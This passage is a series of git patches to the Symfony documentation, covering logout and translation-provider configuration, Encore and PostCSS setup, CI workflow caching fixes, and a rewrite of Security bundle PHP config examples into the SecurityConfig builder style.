 The path which triggers logout. If you change it from the default value ``/logout``,
 you need to set up a route with a matching path.
 
+target
+~~~~~~
+
+**type**: ``string`` **default**: ``/``
+
+The route, path or URL to redirect to after logout.
+
 success_handler
 ~~~~~~~~~~~~~~~
 
@@ -601,6 +608,8 @@ success_handler
 The service ID used for handling a successful logout. The service must implement
 :class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
 
+If it is set, ``target`` will be ignored.
+
 .. _reference-security-logout-csrf:
 
 csrf_parameter

From 7bb3f9434041ffb2437801b137ae79ceea64aedd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 May 2021 10:25:59 +0200
Subject: [PATCH 2197/7107] Minor tweaks

---
 reference/configuration/security.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index f2034f29a3b..76c8f44eff3 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -598,7 +598,9 @@ target
 
 **type**: ``string`` **default**: ``/``
 
-The route, path or URL to redirect to after logout.
+The relative path (if the value starts with ``/``), or absolute URL (if it
+starts with ``http://`` or ``https://``) or the route name (otherwise) to
+redirect after logout.
 
 success_handler
 ~~~~~~~~~~~~~~~
@@ -608,7 +610,7 @@ success_handler
 The service ID used for handling a successful logout. The service must implement
 :class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
 
-If it is set, ``target`` will be ignored.
+If it is set, the logout ``target`` option will be ignored.
 
 .. _reference-security-logout-csrf:
 

From dfacedc35d8e63a34dcf37d903d3fa2e9115d28b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Piotr=20Grabski-Gradzin=CC=81ski?=
 <piotr.gradzinski@gmail.com>
Date: Fri, 14 May 2021 20:34:40 +0200
Subject: [PATCH 2198/7107] Adding file-loader dependency.

---
 frontend/encore/copy-files.rst |  6 +++++-
 frontend/encore/postcss.rst    | 32 +++++++++++++++++---------------
 frontend/encore/reactjs.rst    |  1 -
 3 files changed, 22 insertions(+), 17 deletions(-)

diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index dc97fb0d434..6601260ba7f 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -28,7 +28,7 @@ Referencing Image files from a Template
 
 To reference an image file from outside of a JavaScript file that's processed by
 Webpack - like a template - you can use the ``copyFiles()`` method to copy those
-files into your final output directory.
+files into your final output directory. First enable it in ``webpack.config.js``:
 
 .. code-block:: diff
 
@@ -51,6 +51,10 @@ files into your final output directory.
     +         //pattern: /\.(png|jpg|jpeg)$/
     +     })
 
+Then restart Encore. When you do, it will give you a command you can run to
+install any missing dependencies. After running that command and restarting
+Encore, you're done!
+
 This will copy all files from ``assets/images`` into ``public/build`` (the output
 path). If you have :doc:`versioning enabled <versioning>`, the copied files will
 include a hash based on their content.
diff --git a/frontend/encore/postcss.rst b/frontend/encore/postcss.rst
index e30af2ae6ca..90caeb966e4 100644
--- a/frontend/encore/postcss.rst
+++ b/frontend/encore/postcss.rst
@@ -4,11 +4,26 @@ PostCSS and autoprefixing (postcss-loader)
 `PostCSS`_ is a CSS post-processing tool that can transform your CSS in a lot
 of cool ways, like `autoprefixing`_, `linting`_ and more!
 
-First, download ``postcss-loader`` and any plugins you want, like ``autoprefixer``:
+First enable it in ``webpack.config.js``:
+
+.. code-block:: diff
+
+      // webpack.config.js
+
+      Encore
+          // ...
+    +     .enablePostCssLoader()
+      ;
+
+Then restart Encore. When you do, it will give you a command you can run to
+install any missing dependencies. After running that command and restarting
+Encore, you're done!
+
+Next, download any plugins you want, like ``autoprefixer``:
 
 .. code-block:: terminal
 
-    $ yarn add postcss-loader autoprefixer --dev
+    $ yarn add autoprefixer --dev
 
 Next, create a ``postcss.config.js`` file at the root of your project:
 
@@ -24,19 +39,6 @@ Next, create a ``postcss.config.js`` file at the root of your project:
         }
     }
 
-Then, enable the loader in Encore!
-
-.. code-block:: diff
-
-      // webpack.config.js
-
-      Encore
-          // ...
-    +     .enablePostCssLoader()
-      ;
-
-Because you just modified ``webpack.config.js``, stop and restart Encore.
-
 That's it! The ``postcss-loader`` will now be used for all CSS, Sass, etc files.
 You can also pass options to the `postcss-loader`_ by passing a callback:
 
diff --git a/frontend/encore/reactjs.rst b/frontend/encore/reactjs.rst
index f7e206e15e8..927a13c4664 100644
--- a/frontend/encore/reactjs.rst
+++ b/frontend/encore/reactjs.rst
@@ -10,7 +10,6 @@ Using React? First add some dependencies with Yarn:
 
 .. code-block:: terminal
 
-    $ yarn add @babel/preset-react --dev
     $ yarn add react react-dom prop-types
 
 Enable react in your ``webpack.config.js``:

From 9a59a99a734036a660f99970ac4c3efb7468c5f7 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 19 May 2021 11:23:01 +0200
Subject: [PATCH 2199/7107] [CI] Fixed composer cache for code blocks job

---
 .github/workflows/ci.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index fab47d265ae..d279c2bf3c5 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -127,6 +127,7 @@ jobs:
 
           - name: Get composer cache directory
             id: composercache
+            working-directory: _build
             run: echo "::set-output name=dir::$(composer config cache-files-dir)"
 
           - name: Cache dependencies

From 943a63f7a1761379fdf67f4839b7eb3437a6539d Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Wed, 5 May 2021 17:39:59 +0200
Subject: [PATCH 2200/7107] [Translation] Introduce Translation Providers

---
 reference/configuration/framework.rst |  14 +++
 translation.rst                       | 152 ++++++++++++++++++++++++++
 2 files changed, 166 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d45f35dc742..1bc52ee73b4 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -283,6 +283,7 @@ Configuration
   * `formatter`_
   * `logging`_
   * :ref:`paths <reference-translator-paths>`
+  * :ref:`providers <reference-translator-providers>`
 
 * `trusted_headers`_
 * `trusted_hosts`_
@@ -2455,6 +2456,19 @@ default_path
 This option allows to define the path where the application translations files
 are stored.
 
+.. _reference-translator-providers:
+
+providers
+.........
+
+**type**: ``array`` **default**: ``[]``
+
+This option allows you to enable translation providers to push and pull your translations to third party providers.
+
+.. seealso::
+
+    For more information about how to configure providers, see :ref:`translation-providers`.
+
 property_access
 ~~~~~~~~~~~~~~~
 
diff --git a/translation.rst b/translation.rst
index 382beed92a0..406e56603a1 100644
--- a/translation.rst
+++ b/translation.rst
@@ -591,6 +591,158 @@ if you're generating translations with specialized programs or teams.
     :class:`Symfony\\Component\\Translation\\Loader\\LoaderInterface` interface.
     See the :ref:`dic-tags-translation-loader` tag for more information.
 
+.. _translation-providers:
+
+Translation Providers
+---------------------
+
+.. versionadded:: 5.3
+
+    The "Translation Providers" feature was introduced in Symfony 5.3 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
+
+The translation component can push and pull translations to third party providers (e.g. Crowdin or PoEditor).
+
+Installing and configuring a 3rd Party Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Instead of editing your translation files as code, you can push them to one of the supported third-party providers.
+This will make the translations edition easier for you or your translators.
+
+==================== ===========================================================
+Service              Install with
+==================== ===========================================================
+Crowdin              ``composer require symfony/crowdin-translation-provider``
+Loco (localise.biz)  ``composer require symfony/loco-translation-provider``
+Lokalise             ``composer require symfony/lokalise-translation-provider``
+PoEditor             ``composer require symfony/po-editor-translation-provider``
+==================== ===========================================================
+
+Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
+a configuration example to your ``.env`` file. For example, suppose you want to
+use Loco. First, install it:
+
+.. code-block:: terminal
+
+    $ composer require symfony/loco-translation-provider
+
+You'll now have a new line in your ``.env`` file that you can uncomment:
+
+.. code-block:: env
+
+    # .env
+    LOCO_DSN=loco://API_KEY@default
+
+The ``LOCO_DSN`` isn't a *real* address: it's a convenient format that
+offloads most of the configuration work to translation. The ``loco`` scheme
+activates the Loco provider that you just installed, which knows all about
+how to push and pull translations via Loco. The *only* part you need to change is the
+``API_KEY`` placeholder.
+
+This table shows the full list of available DSN formats for each third party provider:
+
+===================== =================================================================
+ Provider             DSN
+===================== =================================================================
+ Crowdin              crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
+ Loco (localise.biz)  loco://API_KEY@default
+ Lokalise             lokalise://PROJECT_ID:API_KEY@default
+ PoEditor             poeditor://PROJECT_ID:API_KEY@default
+===================== =================================================================
+
+To enable a translation provider, add the correct DSN in your ``.env`` file and
+configure the ``providers``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            translator:
+                providers:
+                    loco:
+                        dsn: '%env(LOCO_DSN)%'
+                        domains: ['messages']
+                        locales: ['en', 'fr']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:translator>
+                    <framework:provider name="loco" dsn="%env(LOCO_DSN)%">
+                        <framework:domain>messages</framework:domain>
+                        <!-- ... -->
+                        <framework:locale>en</framework:locale>
+                        <framework:locale>fr</framework:locale>
+                        <!-- ... -->
+                    </framework:provider>
+                </framework:translator>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        # config/packages/translation.php
+        $container->loadFromExtension('framework', [
+            'translator' => [
+                'providers' => [
+                    'loco' => [
+                        'dsn' => '%env(LOCO_DSN)%',
+                        'domains' => ['messages'],
+                        'locales' => ['en', 'fr'],
+                    ],
+                ],
+            ],
+        ]);
+
+Push and pull translations
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To push your existing translations to your configured third party provider, you have to use the `translation:push` command:
+
+.. code-block:: terminal
+
+    # push all local translations to the Loco provider for the locales and domains configured in config/packages/translation.yaml file
+    # it will update existing translations already on the provider.
+    $ php bin/console translation:push loco --force
+
+    # push new local translations to the Loco provider for the French locale and the validators domain.
+    # it will **not** update existing translations already on the provider.
+    $ php bin/console translation:push loco --locales fr --domain validators
+
+    # push new local translations and delete provider's translations that not exists anymore in local files for the French locale and the validators domain.
+    # it will **not** update existing translations already on the provider.
+    $ php bin/console translation:push loco --delete-missing --locales fr --domain validators
+
+    # check out the command help to see its options (format, domains, locales, etc.)
+    $ php bin/console translation:push --help
+
+To pull translations from a provider in your local files, you have to use the `translation:pull` command:
+
+.. code-block:: terminal
+
+    # pull all provider's translations to local files for the locales and domains configured in config/packages/translation.yaml file
+    # it will overwrite completely your local files.
+    $ php bin/console translation:pull loco --force
+
+    # pull new translations from the Loco provider to local files for the French locale and the validators domain.
+    # it will **not** overwrite your local files, only add new translations.
+    $ php bin/console translation:pull loco --locales fr --domain validators
+
+    # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
+    $ php bin/console translation:pull --help
+
 Handling the User's Locale
 --------------------------
 

From 04ec7c82ed187d9c297670cf34c1b286c7bf8aa1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 May 2021 17:07:39 +0200
Subject: [PATCH 2201/7107] Tweaks

---
 reference/configuration/framework.rst |  7 ++-
 translation.rst                       | 87 +++++++++++++++------------
 2 files changed, 53 insertions(+), 41 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 1bc52ee73b4..cfd85b374a7 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2463,11 +2463,12 @@ providers
 
 **type**: ``array`` **default**: ``[]``
 
-This option allows you to enable translation providers to push and pull your translations to third party providers.
+.. versionadded:: 5.3
 
-.. seealso::
+    The ``providers`` option was introduced in Symfony 5.3.
 
-    For more information about how to configure providers, see :ref:`translation-providers`.
+This option enables and configures :ref:`translation providers <translation-providers>`
+to push and pull your translations to/from third party translation services.
 
 property_access
 ~~~~~~~~~~~~~~~
diff --git a/translation.rst b/translation.rst
index 406e56603a1..7ac8f6d05a7 100644
--- a/translation.rst
+++ b/translation.rst
@@ -598,25 +598,32 @@ Translation Providers
 
 .. versionadded:: 5.3
 
-    The "Translation Providers" feature was introduced in Symfony 5.3 as an
+    Translation providers were introduced in Symfony 5.3 as an
     :doc:`experimental feature </contributing/code/experimental>`.
 
-The translation component can push and pull translations to third party providers (e.g. Crowdin or PoEditor).
+When using external translators to translate your application, you must send
+them the new contents to translate frequently and merge the results back in the
+application.
 
-Installing and configuring a 3rd Party Provider
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Instead of doing this manually, Symfony provides integration with several
+third-party translation services (e.g. Crowdin or PoEditor). You can upload and
+download (called "push" and "pull") translations to/from these services and
+merge the results automatically in the application.
 
-Instead of editing your translation files as code, you can push them to one of the supported third-party providers.
-This will make the translations edition easier for you or your translators.
+Installing and Configuring a Third Party Provider
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-==================== ===========================================================
-Service              Install with
-==================== ===========================================================
-Crowdin              ``composer require symfony/crowdin-translation-provider``
-Loco (localise.biz)  ``composer require symfony/loco-translation-provider``
-Lokalise             ``composer require symfony/lokalise-translation-provider``
-PoEditor             ``composer require symfony/po-editor-translation-provider``
-==================== ===========================================================
+Before pushing/pulling translations to a third-party provider, you must install
+the package that provides integration with that provider:
+
+====================  ===========================================================
+Provider              Install with
+====================  ===========================================================
+Crowdin               ``composer require symfony/crowdin-translation-provider``
+Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
+Lokalise              ``composer require symfony/lokalise-translation-provider``
+PoEditor              ``composer require symfony/po-editor-translation-provider``
+====================  ===========================================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
@@ -633,25 +640,25 @@ You'll now have a new line in your ``.env`` file that you can uncomment:
     # .env
     LOCO_DSN=loco://API_KEY@default
 
-The ``LOCO_DSN`` isn't a *real* address: it's a convenient format that
-offloads most of the configuration work to translation. The ``loco`` scheme
-activates the Loco provider that you just installed, which knows all about
-how to push and pull translations via Loco. The *only* part you need to change is the
+The ``LOCO_DSN`` isn't a *real* address: it's a convenient format that offloads
+most of the configuration work to Symfony. The ``loco`` scheme activates the
+Loco provider that you just installed, which knows all about how to push and
+pull translations via Loco. The *only* part you need to change is the
 ``API_KEY`` placeholder.
 
-This table shows the full list of available DSN formats for each third party provider:
+This table shows the full list of available DSN formats for each provider:
 
-===================== =================================================================
- Provider             DSN
-===================== =================================================================
- Crowdin              crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
- Loco (localise.biz)  loco://API_KEY@default
- Lokalise             lokalise://PROJECT_ID:API_KEY@default
- PoEditor             poeditor://PROJECT_ID:API_KEY@default
-===================== =================================================================
+=====================  ==========================================================
+Provider               DSN
+=====================  ==========================================================
+Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
+Loco (localise.biz)    loco://API_KEY@default
+Lokalise               lokalise://PROJECT_ID:API_KEY@default
+PoEditor               poeditor://PROJECT_ID:API_KEY@default
+=====================  ==========================================================
 
 To enable a translation provider, add the correct DSN in your ``.env`` file and
-configure the ``providers``:
+configure the ``providers`` option:
 
 .. configuration-block::
 
@@ -706,37 +713,41 @@ configure the ``providers``:
             ],
         ]);
 
-Push and pull translations
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+Pushing and Pulling Translations
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-To push your existing translations to your configured third party provider, you have to use the `translation:push` command:
+After configuring the credentials to access the translation provider, you can
+now use the following commands to push (upload) and pull (download) translations:
 
 .. code-block:: terminal
 
-    # push all local translations to the Loco provider for the locales and domains configured in config/packages/translation.yaml file
+    # push all local translations to the Loco provider for the locales and domains
+    # configured in config/packages/translation.yaml file.
     # it will update existing translations already on the provider.
     $ php bin/console translation:push loco --force
 
-    # push new local translations to the Loco provider for the French locale and the validators domain.
+    # push new local translations to the Loco provider for the French locale
+    # and the validators domain.
     # it will **not** update existing translations already on the provider.
     $ php bin/console translation:push loco --locales fr --domain validators
 
-    # push new local translations and delete provider's translations that not exists anymore in local files for the French locale and the validators domain.
+    # push new local translations and delete provider's translations that not
+    # exists anymore in local files for the French locale and the validators domain.
     # it will **not** update existing translations already on the provider.
     $ php bin/console translation:push loco --delete-missing --locales fr --domain validators
 
     # check out the command help to see its options (format, domains, locales, etc.)
     $ php bin/console translation:push --help
 
-To pull translations from a provider in your local files, you have to use the `translation:pull` command:
-
 .. code-block:: terminal
 
-    # pull all provider's translations to local files for the locales and domains configured in config/packages/translation.yaml file
+    # pull all provider's translations to local files for the locales and domains
+    # configured in config/packages/translation.yaml file.
     # it will overwrite completely your local files.
     $ php bin/console translation:pull loco --force
 
-    # pull new translations from the Loco provider to local files for the French locale and the validators domain.
+    # pull new translations from the Loco provider to local files for the French
+    # locale and the validators domain.
     # it will **not** overwrite your local files, only add new translations.
     $ php bin/console translation:pull loco --locales fr --domain validators
 

From 2c197f785b9cb0489f3fef6e790652d16dcd70f5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 19 May 2021 17:39:42 +0200
Subject: [PATCH 2202/7107] Adding HTTP Certificates

See https://github.com/symfony/symfony/issues/41255

Questions:
* Should I create an anchor for `verify_host` and `verify_peer` to be able to link directly to these headings?
* Maybe a link on how to actually add it to the system store? For ubuntu I found https://askubuntu.com/a/94861/800003 and https://superuser.com/a/719047
---
 http_client.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 81f33d8308d..38ed8e7c0b8 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -712,6 +712,17 @@ called when new data is uploaded or downloaded and at least once per second::
 Any exceptions thrown from the callback will be wrapped in an instance of
 ``TransportExceptionInterface`` and will abort the request.
 
+HTTPS Certificates
+~~~~~~~~~~~~~~~~~~
+
+HttpClient uses the system's certificate store to validate SSL certificates
+(while browsers are using their own stores). If you're using self-signed certificates
+during development, the recommended way is to create your own certificate authority (CA)
+and add it to your system's store.
+Alternatively, you can also disable `verify_host` and `verify_peer` (see
+:ref:`http_client config reference <reference-http-client>`), but this is not
+recommended in production.
+
 Performance
 -----------
 

From 79a140bba0faa90065e42a68e96cc05037361f7e Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 19 May 2021 11:47:08 +0200
Subject: [PATCH 2203/7107] [CI] Make sure composer cache is properly used

---
 .github/workflows/ci.yaml | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index d279c2bf3c5..d5039a5e569 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -111,6 +111,8 @@ jobs:
         steps:
           - name: Checkout code
             uses: actions/checkout@v2
+            with:
+                path: 'docs'
 
           - name: Set-up PHP
             uses: shivammathur/setup-php@v2
@@ -119,37 +121,41 @@ jobs:
                 coverage: none
 
           - name: Fetch branch from where the PR started
+            working-directory: docs
             run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
 
           - name: Find modified files
             id: find-files
+            working-directory: docs
             run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
 
           - name: Get composer cache directory
             id: composercache
-            working-directory: _build
+            working-directory: docs/_build
             run: echo "::set-output name=dir::$(composer config cache-files-dir)"
 
           - name: Cache dependencies
+            if: ${{ steps.find-files.outputs.files }}
             uses: actions/cache@v2
             with:
                 path: ${{ steps.composercache.outputs.dir }}
-                key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
-                restore-keys: ${{ runner.os }}-composer-
+                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+                restore-keys: ${{ runner.os }}-composer-codeBlocks-
 
           - name: Install dependencies
             if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker ../_checker
+            run: composer create-project symfony-tools/code-block-checker _checker
 
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
             run: |
-              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git ../_sf_app
-              cd ../_sf_app
+              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+              cd _sf_app
               composer update
 
           - name: Generate baseline
             if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
             run: |
               CURRENT=$(git rev-parse HEAD)
               git checkout -m ${{ github.base_ref }}
@@ -159,5 +165,6 @@ jobs:
 
           - name: Verify examples
             if: ${{ steps.find-files.outputs.files }}
+            working-directory: docs
             run: |
               ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`

From 730a4ca82d0cbeba819c8099e2ba206874e36ead Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 16 May 2021 13:01:33 +0200
Subject: [PATCH 2204/7107] Rewrite config form the Security bundle

---
 configuration/env_var_processors.rst        |  18 +-
 reference/configuration/security.rst        | 131 +++++++------
 security.rst                                | 194 ++++++++++----------
 security/access_control.rst                 | 172 ++++++++---------
 security/access_denied_handler.rst          |  32 ++--
 security/auth_providers.rst                 |  61 +++---
 security/custom_authentication_provider.rst |  43 +++--
 security/experimental_authenticators.rst    |  97 +++++-----
 security/firewall_restriction.rst           |  72 ++++----
 security/force_https.rst                    |  44 ++---
 security/form_login.rst                     | 159 ++++++++--------
 security/form_login_setup.rst               |  55 +++---
 security/guard_authentication.rst           |  57 +++---
 security/impersonating_user.rst             |  59 +++---
 security/json_login_setup.rst               |  46 +++--
 security/ldap.rst                           |  98 +++++-----
 security/login_link.rst                     | 130 +++++++------
 security/multiple_guard_authenticators.rst  |  83 +++++----
 security/named_hashers.rst                  |  45 +++--
 security/password_migration.rst             |  37 ++--
 security/remember_me.rst                    |  53 +++---
 security/user_checkers.rst                  |  17 +-
 security/user_provider.rst                  |  60 +++---
 security/voters.rst                         |  25 +--
 24 files changed, 871 insertions(+), 917 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index d1be0338448..a12b63a7a3e 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -234,15 +234,15 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/security.php
-            $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
-            $container->loadFromExtension('security', [
-                'access_control' => [
-                    [
-                        'path' => '^/health-check$',
-                        'methods' => '%env(const:HEALTH_CHECK_METHOD)%',
-                    ],
-                ],
-            ]);
+            use Symfony\Component\DependencyInjection\ContainerBuilder;
+            use Symfony\Config\SecurityConfig;
+
+            return static function (ContainerBuilder $container, SecurityConfig $security) {
+                $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
+                $security->accessControl()
+                    ->path('^/health-check$')
+                    ->methods(['%env(const:HEALTH_CHECK_METHOD)%']);
+            };
 
 ``env(base64:FOO)``
     Decodes the content of ``FOO``, which is a base64 encoded string.
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 095b4cbdb13..fa9acdaa6a8 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -215,39 +215,34 @@ hashing algorithm. Also, each algorithm defines different config options:
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
-            'password_hashers' => [
-                // auto hasher with default options
-                User::class => [
-                    'algorithm' => 'auto',
-                ],
-
-                // auto hasher with custom options
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost'      => 15,
-                ],
-
-                // Sodium hasher with default options
-                User::class => [
-                    'algorithm' => 'sodium',
-                ],
-
-                // Sodium hasher with custom options
-                User::class => [
-                    'algorithm' => 'sodium',
-                    'memory_cost' => 16384, // Amount in KiB. (16384 = 16 MiB)
-                    'time_cost' => 2,       // Number of iterations
-                ],
-
-                // MessageDigestPasswordHasher hasher using SHA512 hashing with default options
-                User::class => [
-                    'algorithm' => 'sha512',
-                ],
-            ],
-        ]);
+
+            // auto hasher with default options
+            $security->passwordHasher(User::class)
+                ->algorithm('auto');
+
+            // auto hasher with custom options
+            $security->passwordHasher(User::class)
+                ->algorithm('auto')
+                ->cost(15);
+
+            // Sodium hasher with default options
+            $security->passwordHasher(User::class)
+                ->algorithm('sodium');
+
+            // Sodium hasher with custom options
+            $security->passwordHasher(User::class)
+                ->algorithm('sodium')
+                ->memoryCost(16384) // Amount in KiB. (16384 = 16 MiB)
+                ->timeCost(2);      // Number of iterations
+
+            // MessageDigestPasswordHasher hasher using SHA512 hashing with default options
+            $security->passwordHasher(User::class)
+                ->algorithm('sha512');
+        };
 
 .. versionadded:: 5.3
 
@@ -310,18 +305,19 @@ hashing algorithm. Also, each algorithm defines different config options:
 
             // config/packages/test/security.php
             use App\Entity\User;
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                // ...
 
-            $container->loadFromExtension('security', [
-                'password_hashers' => [
-                    // Use your user class name here
-                    User::class => [
-                        'algorithm' => 'auto', // This should be the same value as in config/packages/security.yaml
-                        'cost' => 4, // Lowest possible value for bcrypt
-                        'time_cost' => 3, // Lowest possible value for argon
-                        'memory_cost' => 10, // Lowest possible value for argon
-                    ]
-                ],
-            ]);
+                // Use your user class name here
+                $security->passwordHasher(User::class)
+                    ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
+                    ->cost(4) // Lowest possible value for bcrypt
+                    ->timeCost(2) // Lowest possible value for argon
+                    ->memoryCost(10) // Lowest possible value for argon
+                ;
+            };
 
 .. _reference-security-sodium:
 .. _using-the-argon2i-password-encoder:
@@ -432,20 +428,20 @@ application:
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                // 'main' is the name of the firewall (can be chosen freely)
-                'main' => [
-                    // 'pattern' is a regular expression matched against the incoming
-                    // request URL. If there's a match, authentication is triggered
-                    'pattern' => '^/admin',
-                    // the rest of options depend on the authentication mechanism
-                    // ...
-                ],
-            ],
-        ]);
+            // 'main' is the name of the firewall (can be chosen freely)
+            $security->firewall('main')
+                // 'pattern' is a regular expression matched against the incoming
+                // request URL. If there's a match, authentication is triggered
+                ->pattern('^/admin')
+                // the rest of options depend on the authentication mechanism
+                // ...
+            ;
+        };
 
 .. seealso::
 
@@ -807,18 +803,19 @@ multiple firewalls, the "context" could actually be shared:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'somename' => [
-                    // ...
-                    'context' => 'my_context',
-                ],
-                'othername' => [
-                    // ...
-                    'context' => 'my_context',
-                ],
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('somename')
+                // ...
+                ->context('my_context')
+            ;
+
+            $security->firewall('othername')
+                // ...
+                ->context('my_context')
+            ;
+        };
 
 .. note::
 
diff --git a/security.rst b/security.rst
index f5f282f7efa..466dfa7aacd 100644
--- a/security.rst
+++ b/security.rst
@@ -75,10 +75,12 @@ install the security feature before using it:
         .. code-block:: php
 
             // config/packages/security.php
-            $container->loadFromExtension('security', [
-                'enable_authenticator_manager' => true,
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                $security->enableAuthenticatorManager(true);
                 // ...
-            ]);
+            };
 
 .. _initial-security-yml-setup-authentication:
 .. _initial-security-yaml-setup-authentication:
@@ -178,20 +180,18 @@ Fortunately, the ``make:user`` command already configured one for you in your
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
 
-            'providers' => [
-                // used to reload user from session & other features (e.g. switch_user)
-                'app_user_provider' => [
-                    'entity' => [
-                        'class' => User::class,
-                        'property' => 'email',
-                    ],
-                ],
-            ],
-        ]);
+            // used to reload user from session & other features (e.g. switch_user)
+            $security->provider('app_user_provider')
+                ->entity()
+                    ->class(User::class)
+                    ->property('email');
+        };
+
 
 If your ``User`` class is an entity, you don't need to do anything else. But if
 your class is *not* an entity, then ``make:user`` will also have generated a
@@ -251,19 +251,17 @@ command will pre-configure this for you:
 
         // config/packages/security.php
         use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
+        return static function (SecurityConfig $security) {
             // ...
 
-            'password_hashers' => [
-                User::class => [
-                    'algorithm' => 'auto',
